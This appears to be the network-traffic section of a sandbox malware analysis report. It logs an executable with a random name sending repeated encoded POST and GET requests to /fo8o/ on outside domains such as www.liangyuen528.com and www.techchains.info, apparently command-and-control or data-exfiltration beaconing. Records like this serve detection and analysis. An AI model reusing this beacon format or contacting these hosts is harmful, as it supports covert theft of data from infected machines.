Aug 2, 2024 13:52:11.078397036 CEST	1236	IN	Data Raw: 68 3a 39 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 38 32 30 70 78 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 7b 70 61 64 64 69 6e 67 3a 30 20 30 20 31 2e 36 65 6d 20 30 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f Data Ascii: h:90%;min-height:820px}.two-tier-ads-list{padding:0 0 1.6em 0}.two-tier-ads-list__list-element{list-style:none;padding:10px 0 5px 0;display:inline-block}.two-tier-ads-list__list-element-image{content:url("//img.sedoparking.com/templates/images
Aug 2, 2024 13:52:11.078409910 CEST	1236	IN	Data Raw: 76 65 2d 62 6c 6f 63 6b 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 74 65 78 74 Data Ascii: ve-block__list-element-link:link,.webarchive-block__list-element-link:visited{text-decoration:none}.webarchive-block__list-element-link:hover,.webarchive-block__list-element-link:active,.webarchive-block__list-element-link:focus{text-decoratio
Aug 2, 2024 13:52:11.078422070 CEST	1236	IN	Data Raw: 69 6d 70 72 69 6e 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6d 70 72 69 6e 74 5f 5f 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 63 6f 6e 74 61 69 Data Ascii: imprint{text-align:center}.container-imprint__content{display:inline-block}.container-imprint__content-text,.container-imprint__content-link{font-size:10px;color:#555}.container-contact-us{text-align:center}.container-contact-us__content{displ
Aug 2, 2024 13:52:11.078608036 CEST	1236	IN	Data Raw: 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 30 30 2c 32 30 30 2c 32 30 30 2c 2e 37 35 29 3b 74 6f 70 3a 30 3b Data Ascii: }.cookie-modal-window{position:fixed;background-color:rgba(200,200,200,.75);top:0;right:0;bottom:0;left:0;-webkit-transition:all .3s;-moz-transition:all .3s;transition:all .3s;text-align:center}.cookie-modal-window__content-header{font-size:15
Aug 2, 2024 13:52:11.078624010 CEST	1224	IN	Data Raw: 72 2d 63 6f 6c 6f 72 3a 23 31 61 36 62 32 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 7d 2e 62 74 6e 2d 2d 73 65 63 6f 6e 64 61 72 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 38 63 39 Data Ascii: r-color:#1a6b2c;color:#fff;font-size:initial}.btn--secondary{background-color:#8c959c;border-color:#8c959c;color:#fff;font-size:medium}.btn--secondary:hover{background-color:#727c83;border-color:#727c83;color:#fff;font-size:medium}.btn--second
Aug 2, 2024 13:52:11.078635931 CEST	1236	IN	Data Raw: 64 61 6e 61 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 7d 62 6f 64 79 2e 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 2d 65 6e 61 62 6c 65 64 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 33 30 30 70 78 7d 2e Data Ascii: dana,"Lucida Grande",sans-serif}body.cookie-message-enabled{padding-bottom:300px}.container-footer{padding-top:0;padding-left:5%;padding-right:5%;padding-bottom:10px} </style><script type="text/javascript"> var dto = {"uiOptimize"
Aug 2, 2024 13:52:11.083412886 CEST	723	IN	Data Raw: 79 70 65 22 3a 35 2c 22 74 22 3a 22 63 6f 6e 74 65 6e 74 22 2c 22 70 75 73 22 3a 22 73 65 73 3d 59 33 4a 6c 50 54 45 33 4d 6a 49 31 4f 54 6b 31 4d 7a 41 6d 64 47 4e 70 5a 44 31 33 64 33 63 75 63 6e 4e 7a 62 6d 56 33 63 32 4e 68 63 33 51 75 59 32 Data Ascii: ype":5,"t":"content","pus":"ses=Y3JlPTE3MjI1OTk1MzAmdGNpZD13d3cucnNzbmV3c2Nhc3QuY29tNjZhY2M4NmFjNmZlYzguMTE5NjU5OTYmdGFzaz1zZWFyY2gmZG9tYWluPXJzc25ld3NjYXN0LmNvbSZhX2lkPTMmc2Vzc2lvbj02cmJhNW02YnFLTzVXVlUyZjVNcg==","postActionParameter":{"feedb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49749	15.197.172.60	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:16.461445093 CEST	789	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.liangyuen528.com Origin: http://www.liangyuen528.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.liangyuen528.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 76 67 67 45 65 62 73 6b 4c 4e 51 2b 59 70 6c 77 64 34 36 6c 59 58 62 73 38 33 53 46 77 42 69 56 50 35 55 6c 36 77 4d 30 64 4c 59 51 2b 30 72 76 56 4b 73 76 66 37 62 52 4f 30 69 34 6a 75 36 61 71 63 6f 79 45 5a 31 73 73 41 2f 38 53 52 38 4b 58 67 6f 37 49 47 46 48 79 50 6e 58 54 72 31 61 46 37 63 67 6c 52 63 37 38 37 62 56 46 64 65 57 77 47 74 4f 65 6a 6b 64 4d 47 46 70 51 6f 36 69 7a 6b 49 6e 79 62 6c 30 79 43 50 6f 38 33 4c 33 6f 71 55 4c 49 45 59 53 6d 74 69 74 43 30 32 34 6a 49 56 50 49 53 65 4d 4b 61 37 70 5a 45 52 4f 6e 38 4f 79 31 38 33 6f 61 52 66 34 50 6c 7a 71 5a 73 6a 2b 57 61 6e 57 36 6b 6b 56 Data Ascii: blWd=vggEebskLNQ+Yplwd46lYXbs83SFwBiVP5Ul6wM0dLYQ+0rvVKsvf7bRO0i4ju6aqcoyEZ1ssA/8SR8KXgo7IGFHyPnXTr1aF7cglRc787bVFdeWwGtOejkdMGFpQo6izkInybl0yCPo83L3oqULIEYSmtitC024jIVPISeMKa7pZEROn8Oy183oaRf4PlzqZsj+WanW6kkV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49750	15.197.172.60	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:19.005070925 CEST	813	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.liangyuen528.com Origin: http://www.liangyuen528.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.liangyuen528.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 76 67 67 45 65 62 73 6b 4c 4e 51 2b 5a 4a 31 77 66 65 79 6c 51 58 62 74 67 6e 53 46 6d 78 69 52 50 35 59 6c 36 30 55 6b 64 35 4d 51 39 51 76 76 55 49 45 76 59 37 62 52 61 6b 69 35 2b 2b 36 76 71 63 6b 51 45 62 52 73 73 41 62 38 53 51 67 4b 58 54 41 34 4a 57 46 53 37 76 6e 4a 4d 37 31 61 46 37 63 67 6c 52 4a 65 38 37 44 56 47 75 47 57 77 6a 5a 4e 58 44 6b 61 4c 47 46 70 43 59 36 6d 7a 6b 49 56 79 5a 51 76 79 42 6e 6f 38 33 62 33 6f 59 38 45 53 55 59 75 34 74 6a 79 47 58 58 32 6d 72 6f 67 57 78 61 68 58 59 72 65 56 53 51 55 37 50 4f 52 6e 73 58 71 61 54 48 4b 50 46 7a 41 62 73 62 2b 45 4e 72 78 31 51 42 32 59 4b 7a 47 6e 43 44 52 4b 4c 74 34 50 33 77 57 56 4b 46 6d 2f 77 3d 3d Data Ascii: blWd=vggEebskLNQ+ZJ1wfeylQXbtgnSFmxiRP5Yl60Ukd5MQ9QvvUIEvY7bRaki5++6vqckQEbRssAb8SQgKXTA4JWFS7vnJM71aF7cglRJe87DVGuGWwjZNXDkaLGFpCY6mzkIVyZQvyBno83b3oY8ESUYu4tjyGXX2mrogWxahXYreVSQU7PORnsXqaTHKPFzAbsb+ENrx1QB2YKzGnCDRKLt4P3wWVKFm/w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49751	15.197.172.60	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:22.081341982 CEST	1826	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.liangyuen528.com Origin: http://www.liangyuen528.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.liangyuen528.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 76 67 67 45 65 62 73 6b 4c 4e 51 2b 5a 4a 31 77 66 65 79 6c 51 58 62 74 67 6e 53 46 6d 78 69 52 50 35 59 6c 36 30 55 6b 64 35 55 51 39 6a 33 76 56 70 45 76 5a 37 62 52 5a 6b 69 43 2b 2b 36 32 71 63 4d 55 45 62 74 38 73 43 7a 38 53 79 6f 4b 52 69 41 34 51 6d 46 53 32 50 6e 55 54 72 30 43 46 37 4d 6b 6c 52 5a 65 38 37 44 56 47 76 32 57 35 57 74 4e 56 44 6b 64 4d 47 45 6f 51 6f 36 4f 7a 6b 41 46 79 5a 45 2f 7a 77 48 6f 2f 57 72 33 37 38 63 45 4b 45 59 6f 39 74 6a 36 47 58 62 39 6d 72 30 57 57 79 47 4c 58 59 50 65 58 53 56 52 70 4d 4b 78 39 4f 4b 48 45 6a 54 33 50 68 6a 76 56 4e 54 53 58 66 2f 52 36 45 56 4a 64 64 50 6b 6c 54 36 76 47 34 64 49 41 77 63 42 44 35 4a 72 70 38 57 50 62 47 53 73 63 39 56 35 61 59 51 57 64 6b 6f 31 5a 54 46 4e 37 6e 33 6f 75 4e 52 6f 64 66 7a 2f 34 77 57 73 73 2f 4c 52 7a 31 52 4e 76 34 36 32 76 43 42 36 45 6d 43 6e 6d 4e 44 64 62 31 54 43 50 59 52 55 32 38 6d 6b 6a 45 52 76 38 74 2f 48 70 4d 38 54 6f 6c 7a 61 76 64 66 42 52 4e 58 42 41 70 4c 76 53 46 57 61 6e [TRUNCATED] Data Ascii: blWd=vggEebskLNQ+ZJ1wfeylQXbtgnSFmxiRP5Yl60Ukd5UQ9j3vVpEvZ7bRZkiC++62qcMUEbt8sCz8SyoKRiA4QmFS2PnUTr0CF7MklRZe87DVGv2W5WtNVDkdMGEoQo6OzkAFyZE/zwHo/Wr378cEKEYo9tj6GXb9mr0WWyGLXYPeXSVRpMKx9OKHEjT3PhjvVNTSXf/R6EVJddPklT6vG4dIAwcBD5Jrp8WPbGSsc9V5aYQWdko1ZTFN7n3ouNRodfz/4wWss/LRz1RNv462vCB6EmCnmNDdb1TCPYRU28mkjERv8t/HpM8TolzavdfBRNXBApLvSFWanvw114cB4cUcKFmXik0jW9n0PdAnvswUY7/Qjff1VtHq8q0sA4p7yq1lEy+WHGDhX5HgbVAoigySwvvv7O70QBx6CflCAiO6/nYrk8uNDyZGSSnjRWUnzazmqOt+GtqwWGd3zTEGhzGVIuqsIveJwyb78IREtAWd3lTyVrqUs0ejk//4hb1/7m1seU5xEZCLn4jLMXgKcXWfBWR49h8kGeio0IHMrOJkY1hvNPX513kTa2RABaeszlUlAfp2OXLS7odx+n2fhMcdamP9XektedJXhjMCvSbPGpPO3IweHStAa5zvsHZPfH7QJkZEcbNXpMRbQ8E/PZjRoSh5AQzB/EVBNeP+B2qCU271qcBm64J7YEyFeWvAN6sDccBmEF3tyd8+w0mw0rCCcdZDYt5FkGkpVEBAy5eIelssM4OwMLFcJ9EL21dyymgI73ZeZDZBovifuazEeqibEVzTzmjE72nQFKh6k1dCU+MkiqwciyUH9nlAP1P91fIFYx/QiWO3RsrXz8CV8FjS1CVdj0pNFvJUlxw/hypZLRKxBAA2OpLo6ktOSejIL4rOG9C0A0gIYNsVezFe0N57p8lL5gA6G9UOc4XdZ1rpK/cr7YMWaGH7YNTxlbm1AqSkJKCQz++kuZcvIcUQ7CAdcfyuye/Fu9q0N79FYzJ0QBD [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49752	15.197.172.60	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:24.615874052 CEST	527	OUT	GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=iiIkdrB6KYcVQoN0c6CfZniI+lK17wmUSOc41yM1Q/k97jiJcokuWPbOTxiCodGWiOQkUrp21l37eyMeLTp+RFkz+4bzDeEKKqRZgAR6qoTILtOL6EdJZhJZBnFdSPOr30I02M8= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.liangyuen528.com Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:52:25.093091965 CEST	414	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 02 Aug 2024 11:52:25 GMT Content-Type: text/html Content-Length: 274 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 49 78 65 3d 41 70 71 34 74 50 50 58 4e 64 54 70 32 26 62 6c 57 64 3d 69 69 49 6b 64 72 42 36 4b 59 63 56 51 6f 4e 30 63 36 43 66 5a 6e 69 49 2b 6c 4b 31 37 77 6d 55 53 4f 63 34 31 79 4d 31 51 2f 6b 39 37 6a 69 4a 63 6f 6b 75 57 50 62 4f 54 78 69 43 6f 64 47 57 69 4f 51 6b 55 72 70 32 31 6c 33 37 65 79 4d 65 4c 54 70 2b 52 46 6b 7a 2b 34 62 7a 44 65 45 4b 4b 71 52 5a 67 41 52 36 71 6f 54 49 4c 74 4f 4c 36 45 64 4a 5a 68 4a 5a 42 6e 46 64 53 50 4f 72 33 30 49 30 32 4d 38 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Ixe=Apq4tPPXNdTp2&blWd=iiIkdrB6KYcVQoN0c6CfZniI+lK17wmUSOc41yM1Q/k97jiJcokuWPbOTxiCodGWiOQkUrp21l37eyMeLTp+RFkz+4bzDeEKKqRZgAR6qoTILtOL6EdJZhJZBnFdSPOr30I02M8="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49753	66.29.149.46	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:30.152224064 CEST	786	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.techchains.info Origin: http://www.techchains.info Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.techchains.info/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 69 63 33 39 33 64 6d 33 6c 38 68 57 69 4b 34 53 32 61 69 74 78 50 39 4f 6d 54 4b 35 74 56 57 73 56 31 47 52 6c 4a 39 49 61 6d 38 33 56 6a 67 62 4a 4d 45 61 58 49 75 67 57 4b 44 6e 31 5a 75 6e 47 7a 61 38 30 79 2f 6d 47 74 35 53 62 46 57 72 42 75 6f 42 61 4c 6b 37 39 6e 58 66 51 47 46 56 58 56 61 4f 4b 35 6a 51 69 4e 69 69 48 67 48 6e 6e 74 59 34 54 70 69 69 50 6d 36 33 54 41 68 66 59 65 31 7a 4a 74 6f 54 74 50 45 67 4d 38 61 71 62 56 6d 58 58 35 42 66 54 31 51 77 35 7a 65 58 49 74 71 7a 62 69 56 74 64 67 41 4d 61 68 6b 63 31 58 46 58 6a 46 4e 53 73 7a 55 6d 75 62 7a 39 48 6b 53 50 39 73 4e 6b 41 59 54 57 Data Ascii: blWd=ic393dm3l8hWiK4S2aitxP9OmTK5tVWsV1GRlJ9Iam83VjgbJMEaXIugWKDn1ZunGza80y/mGt5SbFWrBuoBaLk79nXfQGFVXVaOK5jQiNiiHgHnntY4TpiiPm63TAhfYe1zJtoTtPEgM8aqbVmXX5BfT1Qw5zeXItqzbiVtdgAMahkc1XFXjFNSszUmubz9HkSP9sNkAYTW
Aug 2, 2024 13:52:30.815274000 CEST	637	IN	HTTP/1.1 404 Not Found Date: Fri, 02 Aug 2024 11:52:30 GMT Server: Apache Content-Length: 493 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 64 65 70 65 6e 2e 69 6f 2f 75 7a 63 68 6f 5f 2f 70 65 6e 2f 65 59 64 6d 64 58 77 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 75 6d 62 65 72 22 3e 34 30 34 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 22 3e 3c 73 70 61 6e 3e 4f 6f 6f 70 73 2e 2e 2e 3c 2f 73 70 61 6e 3e 3c 62 72 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>CodePen - 404</title> <link rel='stylesheet' href='https://codepen.io/uzcho_/pen/eYdmdXw.css'><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="number">404</div><div class="text"><span>Ooops...</span><br>page not found</div><a class="me" href="https://codepen.io/uzcho_/pens/popular/?grid_type=list" target="_blank"></a>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49756	66.29.149.46	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:32.696614981 CEST	810	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.techchains.info Origin: http://www.techchains.info Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.techchains.info/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 69 63 33 39 33 64 6d 33 6c 38 68 57 6a 71 6f 53 77 35 36 74 33 76 38 38 73 7a 4b 35 69 31 58 6c 56 31 4b 52 6c 4e 6c 59 64 56 49 33 56 43 77 62 4b 4e 45 61 55 49 75 67 59 71 44 6d 37 35 75 34 47 7a 57 4f 30 77 37 6d 47 70 52 53 62 41 79 72 43 5a 38 47 41 37 6b 39 37 6e 58 42 65 6d 46 56 58 56 61 4f 4b 35 47 48 69 4a 4f 69 48 77 58 6e 6d 4a 45 2f 65 4a 69 68 5a 32 36 33 58 41 67 55 59 65 31 46 4a 73 30 39 74 4e 4d 67 4d 38 71 71 62 42 36 51 64 35 42 5a 63 56 52 67 35 78 6a 64 50 72 6e 38 53 53 35 50 4e 67 6f 57 53 33 6c 47 70 6b 46 30 78 56 74 51 73 78 4d 55 75 37 7a 58 46 6b 71 50 76 37 42 44 50 73 32 31 61 64 53 4f 32 35 32 66 72 47 63 45 4c 57 46 53 66 35 61 59 71 77 3d 3d Data Ascii: blWd=ic393dm3l8hWjqoSw56t3v88szK5i1XlV1KRlNlYdVI3VCwbKNEaUIugYqDm75u4GzWO0w7mGpRSbAyrCZ8GA7k97nXBemFVXVaOK5GHiJOiHwXnmJE/eJihZ263XAgUYe1FJs09tNMgM8qqbB6Qd5BZcVRg5xjdPrn8SS5PNgoWS3lGpkF0xVtQsxMUu7zXFkqPv7BDPs21adSO252frGcELWFSf5aYqw==
Aug 2, 2024 13:52:33.360078096 CEST	637	IN	HTTP/1.1 404 Not Found Date: Fri, 02 Aug 2024 11:52:33 GMT Server: Apache Content-Length: 493 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 64 65 70 65 6e 2e 69 6f 2f 75 7a 63 68 6f 5f 2f 70 65 6e 2f 65 59 64 6d 64 58 77 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 75 6d 62 65 72 22 3e 34 30 34 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 22 3e 3c 73 70 61 6e 3e 4f 6f 6f 70 73 2e 2e 2e 3c 2f 73 70 61 6e 3e 3c 62 72 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>CodePen - 404</title> <link rel='stylesheet' href='https://codepen.io/uzcho_/pen/eYdmdXw.css'><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="number">404</div><div class="text"><span>Ooops...</span><br>page not found</div><a class="me" href="https://codepen.io/uzcho_/pens/popular/?grid_type=list" target="_blank"></a>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49757	66.29.149.46	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:35.245125055 CEST	1823	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.techchains.info Origin: http://www.techchains.info Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.techchains.info/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 69 63 33 39 33 64 6d 33 6c 38 68 57 6a 71 6f 53 77 35 36 74 33 76 38 38 73 7a 4b 35 69 31 58 6c 56 31 4b 52 6c 4e 6c 59 64 56 51 33 56 31 77 62 4b 75 38 61 56 49 75 67 51 4b 44 6a 37 35 76 69 47 7a 2b 4b 30 77 6e 32 47 76 56 53 42 6d 2b 72 4b 4e 51 47 4f 4c 6b 39 35 6e 58 63 51 47 46 45 58 56 71 4b 4b 35 32 48 69 4a 4f 69 48 31 54 6e 68 64 59 2f 63 4a 69 69 50 6d 36 7a 54 41 68 7a 59 65 73 77 4a 73 41 44 75 39 73 67 4d 59 4f 71 65 79 53 51 41 4a 42 62 5a 56 51 6c 35 78 76 65 50 74 44 57 53 53 39 70 4e 6e 59 57 44 7a 38 46 78 30 5a 31 79 31 4d 79 36 68 4d 2f 74 4e 50 62 42 6b 57 4b 67 36 6b 30 57 39 43 68 53 39 58 52 2b 37 33 2f 71 56 59 78 49 79 30 52 52 4d 7a 73 32 41 2b 4f 70 6a 76 75 49 4d 42 4c 6f 72 56 6b 36 6f 46 50 36 58 70 72 6d 36 76 4c 47 41 37 30 34 44 55 69 68 38 49 33 67 74 6f 6b 32 42 34 6b 32 2b 74 4d 6e 77 59 73 75 2b 63 50 71 48 46 67 57 37 55 4a 4c 63 46 50 73 32 4a 52 65 73 48 2f 41 6f 64 63 65 67 61 43 4e 37 68 68 6f 75 43 35 5a 70 4a 45 73 48 45 69 58 37 63 67 57 [TRUNCATED] Data Ascii: 